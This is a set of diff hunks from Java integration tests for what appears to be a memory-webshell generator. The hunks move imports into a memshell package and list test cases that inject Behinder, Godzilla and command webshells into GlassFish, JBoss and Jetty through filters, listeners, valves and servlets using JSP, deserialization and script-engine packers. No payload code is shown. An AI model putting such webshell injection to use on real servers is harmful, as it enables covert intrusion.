arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -42,14 +42,20 @@ public class GlassFish6ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.glassfish;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
@@ -42,10 +42,13 @@ public class GlassFish7ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, GlassFishShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
);
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -41,10 +41,14 @@ public class Jboss423ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -41,10 +41,14 @@ public class Jboss510ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -41,10 +41,14 @@ public class Jboss610ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -44,8 +44,10 @@ public class Jboss711ContainerTest {
*/
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
);
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jbosseap;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -41,8 +41,10 @@ public class JbossEap6ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
);
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jbosseap;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -41,14 +41,20 @@ public class JbossEap7ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -40,14 +40,20 @@ public class Jetty10ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -40,14 +40,20 @@ public class Jetty11ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -40,14 +40,20 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -40,14 +40,20 @@ public class Jetty76ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -40,14 +40,20 @@ public class Jetty81ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -41,14 +41,20 @@ public class Jetty92ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
@@ -1,8 +1,8 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -40,14 +40,20 @@ public class Jetty93ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
